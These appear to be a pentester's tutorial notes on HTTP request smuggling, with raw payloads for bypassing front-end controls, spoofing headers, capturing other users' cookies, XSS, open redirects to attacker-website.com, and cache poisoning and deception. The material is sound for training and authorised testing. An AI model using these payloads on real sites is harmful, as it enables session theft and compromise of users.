EXPLOITATION:

\*\*\* the smallest thing will cause a payload to fail, before quitting go over your request char by char if we run into issues. If we see signs from the detection phase (timeouts, 404, poisoning etc) there is a vuln there be patient and very careful \*\*\*

Most security controls are implemented on the front end. Smuggling requests allows us to essentially bypass these security features and get a request directly to the backend. This can lead to many different exploits.

**Accessing Blocked Pages:**

This often relies on the following section as well (header manipulation). We may be able to gain access to previously restricted pages. This can happen for many reasons. The smuggled request may make it through to the backend thus bypassing front-end checks. This could cause the server to serve that response. Alternatively, we may be able to include headers such as “Host:” or X-Forwarded-For in the smuggled response. This is useful because almost always the front end or even the browser will rewrite these headers automatically. Smuggling them will bypass these normal security features which could lead to easy access to various blocked pages.

**Manipulating / Seeing custom or blocked Headers**:

We may be able to see custom (non-standard) headers in the server's response sometimes in the body. This is done if we find a reflected value in the page and smuggle a request containing that parameter in the body of the request. This will cause the request following this to be appended to the parameter and result in that request's response being reflected in the response we see. The bold in the below example is what we sent. The non-bold is the following request that would be appended to our smuggled one. Ex:

**POST / HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Length: 130**

**Transfer-Encoding: chunked**

**0**

**POST /login HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Type: application/x-www-form-urlencoded**

**Content-Length: 100**

**email=**POST /login HTTP/1.1

Host: vulnerable-website.com

...

Another very common hidden header is X-SSL-CLIENT-CN. This is used by servers that implement mutual certificate exchange. So unknowingly when a user makes a request their browser passes this header in the request along with their username. So we could do something like **X-SSL-CLIENT-CN: administrator** to potentially bypass client authentication. Just another useful trick to test out especially if we see something interesting in terms of hidden headers. Again, this is normally always overridden in normal requests but passing it in smuggled requests will bypass this override.

**Capturing Other User's Requests:**

This is reliant on the website having functionality to store and later retrieve textual data. This capture could include cookies or sensitive data. Suitable functions to use as the vehicle for this attack would be comments, emails, profile descriptions, screen names, and so on. To perform we must smuggle a request that submits data to the storage function. Ex for a app that allows comments on blog posts which will be displayed on the blog post:

-------------------------

Normal Request:

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 154

Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

-------------------------

Now what would happen if we submit an overly long content-length header and positon the comment param at the end of the request like so: \*\* note we include OUR cookie in the smuggled request as this is often needed to make the post request to the storage function.

**GET / HTTP/1.1**

**Host: vulnerable-website.com**

**Transfer-Encoding: chunked**

**Content-Length: 330**

**0**

**POST /post/comment HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Type: application/x-www-form-urlencoded**

**Content-Length: 400**

**Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO**

**csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=**

---------------------

The body is only 144 bytes but the request specifies 400. Thus, the server will wait for the remaining 256 bytes and if it does not come in time the request will time out. If it doesn’t time out, the next 256 bytes of the NEXT request made by any user will be appended and posted as a comment and then can easily be read by us. Depending on how big the site is it could take a while for the next reuqets to come in. In repeater we will often see a 200 ok and our smuggled request will just chill in the backend until the remained of bytes can be filled or until it is dropped. \*\*\* limitation: the request will only capture data up to the parameter delimited applicable for the current request. In the above example a & char would effectively terminate the capture and wed only see data up until that character. This could even appear in the query string ;(. \*\*\*

**Using Request Smuggling to Exploit Reflected XSS:**

This form of XSS requires 0 user interaction making it more impactful. The XSS can be found in either params or headers (could be useful to use param miner to check this). To do this we just smuggle a request containing the XSS and the next user's request will then receive the XSS payload in their response. We can test this in our own browser or use something like XSS hunter to capture a true XSS in another user's browser. EX for CL.TE config with XSS in user agent header:

**POST / HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Length: 63**

**Transfer-Encoding: chunked**

**0**

**GET / HTTP/1.1**

**User-Agent: <script>alert(1)</script>**

**Foo: X**

**Turning on-site Redirect to Open Redirect:**

**\*\*\*\* Very important: look around to find a 302 or 301 redirect, this is extremely important as we must smuggle a request that leads to a redirect. Then because were smuggling we can throw in an unvalidated host header causing an arbitrary redirect. \*\*\*\*\***

Many applications perform on-site redirects from one URL to another and place the hostname from the request's Host header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash. A normal redirect shown below:

GET /home HTTP/1.1

Host: normal-website.com

HTTP/1.1 301 Moved Permanently

Location: <https://normal-website.com/home/>

------------------

Exploit by redirecting to external domain as shown:

**POST / HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Length: 54**

**Transfer-Encoding: chunked**

**0**

**GET /home HTTP/1.1**

**Host: attacker-website.com**

**Foo: X**

---------------------------

This request will often result in the following behavior:

GET /home HTTP/1.1

Host: attacker-website.com

Foo: XGET /scripts/include.js HTTP/1.1

Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently

Location: <https://attacker-website.com/home/>

---------------------------

We can then host our own domain and run arbitrary javascript on any user who gets redirected. In some cases we may see server level redirects that use the path to construct a root-relative URL for the Location header as shown:

GET /example HTTP/1.1

Host: normal-website.com

HTTP/1.1 301 Moved Permanently

Location: /example/

This behavior can still be exploited if the server allows for a protocol-relative URL in the path like this:

GET //attacker-website.com/example HTTP/1.1

Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently

Location: //attacker-website.com/example/

**Using request smuggling to perform Web Cache Poisoning:**

If the front end performs caching of content, we may be able to poison the cache with an off-site redirect. This will make the attack persistent affecting any subsequent users visiting the vulnerable URL. General attack vector shown below (bold=our request nonbold=next users request):

**POST / HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Length: 59**

**Transfer-Encoding: chunked**

**0**

**GET /home HTTP/1.1**

**Host: attacker-website.com**

**Foo: X**GET /static/include.js HTTP/1.1

Host: vulnerable-website.com

-------------------------

This will then trigger a redirect to the attacker's website.

Web Cache Deception using HTTP Request Smuggling:

Web Cache deception is when we cause the web app to cache sensitive content belonging to another user which we then can retrieve from the cache.

In this case we smuggle a request that returns some type of sensitive, user-specific content. Like this:

**POST / HTTP/1.1**

**Host: vulnerable-website.com**

**Content-Length: 43**

**Transfer-Encoding: chunked**

**0**

**GET /private/messages HTTP/1.1**

**Foo: X**

--------------------

The next request will be appended and contain a new users coolie like this (bold is the request we smuggled):

**GET /private/messages HTTP/1.1**

**Foo: X**GET /static/some-image.png HTTP/1.1

Host: vulnerable-website.com

Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ……

This request gets processed in the normal way but the server processes it using the appended session cookie thus producing another user's response. The front end will then cache it somewhere, in our example it would be cached at /static/some-image.png which is what the victim was oringally requesting as shown in the above request. It is fairly common to see only static pages be cached (such as JS or images) so keep that in mind when trying to locate the response.

**\*\*\*\*\*\***

**Often we will see parameters like ID or user or something in the URL responsible for accessing the sensitive content. Try to remove these and just include your cookies (specifically session cookies). Very often the request will still go through and display that sensitive content. This is important because in a smuggled request we cannot guess the victim's ID or Username etc BUT we will have access to their cookie which often is all we need**

**\*\*\*\*\*\*\*\***